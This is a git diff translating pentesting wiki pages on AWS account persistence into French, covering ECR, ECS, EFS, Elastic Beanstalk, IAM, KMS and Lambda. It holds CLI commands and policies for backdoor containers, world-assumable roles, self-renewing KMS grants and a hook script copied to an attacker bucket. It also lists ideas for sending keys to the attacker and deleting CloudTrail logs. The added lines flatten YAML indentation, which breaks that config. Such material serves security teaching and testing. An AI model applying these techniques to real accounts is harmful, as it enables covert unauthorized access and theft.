 
-### Spot Fleet Request
+### Demande de flotte Spot
 
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution IP automatique** et des **données utilisateur** qui envoient à l'attaquant **lorsque l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
 
-### Backdoor Instances
+### Instances de porte dérobée
 
-An attacker could get access to the instances and backdoor them:
+Un attaquant pourrait accéder aux instances et les compromettre :
 
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- En utilisant un **rootkit** traditionnel par exemple
+- En ajoutant une nouvelle **clé SSH publique** (voir [options de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
+- En compromettant les **données utilisateur**
 
-### **Backdoor Launch Configuration**
+### **Configuration de lancement de porte dérobée**
 
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- Compromettre l'AMI utilisée
+- Compromettre les données utilisateur
+- Compromettre la paire de clés
 
 ### VPN
 
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+Créer un VPN afin que l'attaquant puisse se connecter directement à travers celui-ci au VPC.
 
-### VPC Peering
+### Peering VPC
 
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+Créer une connexion de peering entre le VPC de la victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC de la victime.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..9b57641bb 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,98 +4,88 @@
 
 ## ECR
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ecr-enum.md
 {{#endref}}
 
-### Hidden Docker Image with Malicious Code
+### Image Docker Cachée avec Code Malveillant
 
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+Un attaquant pourrait **télécharger une image Docker contenant du code malveillant** dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive.
 
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### Politique de Dépôt
 
+Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt :
 ```bash
 aws ecr set-repository-policy \
-    --repository-name cluster-autoscaler \
-    --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
 
 # With a .json such as
 
 {
-    "Version" : "2008-10-17",
-    "Statement" : [
-        {
-            "Sid" : "allow public pull",
-            "Effect" : "Allow",
-            "Principal" : "*",
-            "Action" : [
-                "ecr:BatchCheckLayerAvailability",
-                "ecr:BatchGetImage",
-                "ecr:GetDownloadUrlForLayer"
-            ]
-        }
-    ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
 }
 ```
-
 > [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> Notez que ECR exige que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
 
-### Registry Policy & Cross-account Replication
+### Politique de Registre & Réplication Inter-comptes
 
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
 
 <figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
 
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+Tout d'abord, vous devez donner au compte externe un accès au registre avec une **politique de registre** comme :
 ```bash
 aws ecr put-registry-policy --policy-text file://my-policy.json
 
 # With a .json like:
 
 {
-  "Sid": "asdasd",
-  "Effect": "Allow",
-  "Principal": {
-    "AWS": "arn:aws:iam::947247140022:root"
-  },
-  "Action": [
-    "ecr:CreateRepository",
-    "ecr:ReplicateImage"
-  ],
-  "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
 }
 ```
-
-Then apply the replication config:
-
+Ensuite, appliquez la configuration de réplication :
 ```bash
 aws ecr put-replication-configuration \
-     --replication-configuration file://replication-settings.json \
-     --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
 
 # Having the .json a content such as:
 {
-	"rules": [{
-		"destinations": [{
-			"region": "destination_region",
-			"registryId": "destination_accountId"
-		}],
-		"repositoryFilters": [{
-			"filter": "repository_prefix_name",
-			"filterType": "PREFIX_MATCH"
-		}]
-	}]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
 }
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..5dc93116f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,29 +4,28 @@
 
 ## ECS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
 {{#endref}}
 
-### Hidden Periodic ECS Task
+### Tâche ECS Périodique Cachée
 
 > [!NOTE]
 > TODO: Test
 
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer des reconnaissances, exfiltrer des données ou maintenir la persistance dans le compte AWS.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-  {
-    "name": "malicious-container",
-    "image": "malicious-image:latest",
-    "memory": 256,
-    "cpu": 10,
-    "essential": true
-  }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
 ]'
 
 # Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
 
 # Add a target to the rule to run the malicious ECS task
 aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-  {
-    "Id": "malicious-ecs-task-target",
-    "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-    "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-    "EcsParameters": {
-      "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-      "TaskCount": 1
-    }
-  }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
 ]'
 ```
-
-### Backdoor Container in Existing ECS Task Definition
+### Conteneur de porte dérobée dans une définition de tâche ECS existante
 
 > [!NOTE]
 > TODO: Test
 
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
-
+Un attaquant peut ajouter un **conteneur de porte dérobée furtif** dans une définition de tâche ECS existante qui s'exécute aux côtés de conteneurs légitimes. Le conteneur de porte dérobée peut être utilisé pour la persistance et pour effectuer des activités malveillantes.
 ```bash
 # Update the existing task definition to include the backdoor container
 aws ecs register-task-definition --family "existing-task" --container-definitions '[
-  {
-    "name": "legitimate-container",
-    "image": "legitimate-image:latest",
-    "memory": 256,
-    "cpu": 10,
-    "essential": true
-  },
-  {
-    "name": "backdoor-container",
-    "image": "malicious-image:latest",
-    "memory": 256,
-    "cpu": 10,
-    "essential": false
-  }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
 ]'
 ```
-
-### Undocumented ECS Service
+### Service ECS non documenté
 
 > [!NOTE]
-> TODO: Test
-
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
+> TODO: Tester
 
+Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En définissant le nombre souhaité de tâches à un minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de remarquer le service malveillant.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-  {
-    "name": "malicious-container",
-    "image": "malicious-image:latest",
-    "memory": 256,
-    "cpu": 10,
-    "essential": true
-  }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
 ]'
 
 # Create an undocumented ECS service with the malicious task definition
 aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..c25e71bf7 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
 
 ## EFS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-### Modify Resource Policy / Security Groups
+### Modifier la politique de ressource / Groupes de sécurité
 
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+En modifiant la **politique de ressource et/ou les groupes de sécurité**, vous pouvez essayer de persister votre accès au système de fichiers.
 
-### Create Access Point
+### Créer un point d'accès
 
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+Vous pourriez **créer un point d'accès** (avec un accès root à `/`) accessible depuis un service où vous avez mis en œuvre **autre persistance** pour maintenir un accès privilégié au système de fichiers.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..f9a584abd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,31 +4,30 @@
 
 ## Elastic Beanstalk
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Persistence in Instance
+### Persistance dans l'Instance
 
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**.
 
-### Backdoor in Version
+### Porte dérobée dans la Version
 
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+Un attaquant pourrait introduire une porte dérobée dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa porte dérobée et le code attendu.
 
-### New backdoored version
+### Nouvelle version avec porte dérobée
 
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec une porte dérobée.
 
-### Abusing Custom Resource Lifecycle Hooks
+### Abus des Hooks de Cycle de Vie des Ressources Personnalisées
 
 > [!NOTE]
-> TODO: Test
-
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
+> TODO: Tester
 
+Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**.
 ```bash
 bashCopy code# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
 
 # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
 echo 'Resources:
-  AWSEBAutoScalingGroup:
-    Metadata:
-      AWS::ElasticBeanstalk::Ext:
-        TriggerConfiguration:
-          triggers:
-            - name: stealthy-lifecycle-hook
-              events:
-                - "autoscaling:EC2_INSTANCE_LAUNCH"
-                - "autoscaling:EC2_INSTANCE_TERMINATE"
-              target:
-                ref: "AWS::ElasticBeanstalk::Environment"
-              arn:
-                Fn::GetAtt:
-                  - "AWS::ElasticBeanstalk::Environment"
-                  - "Arn"
-  stealthyLifecycleHook:
-    Type: AWS::AutoScaling::LifecycleHook
-    Properties:
-      AutoScalingGroupName:
-        Ref: AWSEBAutoScalingGroup
-      LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
-      NotificationTargetARN:
-        Ref: stealthy-lifecycle-hook
-      RoleARN:
-        Fn::GetAtt:
-          - AWSEBAutoScalingGroup
-          - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
 
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..acf8be977 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
 
 ## IAM
 
-For more information access:
+Pour plus d'informations, accédez à :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### Common IAM Persistence
+### Persistence IAM Courante
 
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- Créer un utilisateur
+- Ajouter un utilisateur contrôlé à un groupe privilégié
+- Créer des clés d'accès (de nouveau utilisateur ou de tous les utilisateurs)
+- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne)
+- Désactiver MFA / Ajouter votre propre appareil MFA
+- Créer une situation de Chaîne de Rôle Juggling (plus d'informations ci-dessous dans la persistance STS)
 
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### Politiques de Confiance de Rôle Backdoor
 
+Vous pourriez backdoor une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": ["*", "arn:aws:iam::123213123123:root"]
-      },
-      "Action": "sts:AssumeRole"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
 }
 ```
+### Version de la politique de porte dérobée
 
-### Backdoor Policy Version
+Donnez des permissions d'administrateur à une politique qui n'est pas sa dernière version (la dernière version doit sembler légitime), puis assignez cette version de la politique à un utilisateur/groupe contrôlé.
 
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+### Porte dérobée / Créer un fournisseur d'identité
 
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+Si le compte fait déjà confiance à un fournisseur d'identité commun (comme Github), les conditions de confiance pourraient être augmentées afin que l'attaquant puisse en abuser.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..b5c3de0c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
 
 ## KMS
 
-For mor information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-kms-enum.md
 {{#endref}}
 
-### Grant acces via KMS policies
+### Accorder l'accès via les politiques KMS
 
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) pour plus d'informations.
 
-### Eternal Grant
+### Grant éternel
 
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
 
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
 
+(Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants)
 ```bash
 # To generate grants, generate 10 like this one
 aws kms create-grant \
-    --key-id <key-id> \
-    --grantee-principal <user_arn> \
-    --operations "CreateGrant" "Decrypt"
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
 
 # To monitor grants
 aws kms list-grants --key-id <key-id>
 ```
-
 > [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Un grant peut donner des permissions uniquement à partir de ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..749443556 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,65 +4,61 @@
 
 ## Lambda
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Lambda Layer Persistence
+### Persistance de la couche Lambda
 
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
 
 {{#ref}}
 aws-lambda-layers-persistence.md
 {{#endref}}
 
-### Lambda Extension Persistence
+### Persistance de l'extension Lambda
 
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
 {{#endref}}
 
-### Via resource policies
+### Via les politiques de ressources
 
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Il est possible d'accorder l'accès à différentes actions lambda (comme invoquer ou mettre à jour le code) à des comptes externes :
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
-### Versions, Aliases & Weights
+### Versions, Alias & Poids
 
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
+Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
+De cette façon, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
 
 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
 
-### Version Backdoor + API Gateway
+### Porte dérobée de version + API Gateway
 
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
-   1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
-   1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-   1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Copier le code original de la Lambda
+2. **Créer une nouvelle version avec porte dérobée** du code original (ou juste avec du code malveillant). Publier et **déployer cette version** sur $LATEST
+1. Appeler la passerelle API liée à la lambda pour exécuter le code
+3. **Créer une nouvelle version avec le code original**, Publier et déployer cette **version** sur $LATEST.
+1. Cela cachera le code avec porte dérobée dans une version précédente
+4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
+5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Déployer l'API`**
+6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
 
-### Cron/Event actuator
+### Actuator Cron/Event
 
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
+Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
 
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
+- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
+- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les altérer
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..6d87c2f22 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,35 +4,35 @@
 
 ## Lambda Extensions
 
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
 
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Les extensions internes** fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme d'exécutions, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
+- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers environnements d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **environnements d'exécution personnalisés**.
 
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Pour plus d'informations sur [**comment fonctionnent les extensions lambda, consultez la documentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Extension externe pour la persistance, le vol de requêtes et la modification des requêtes
 
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Voici un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
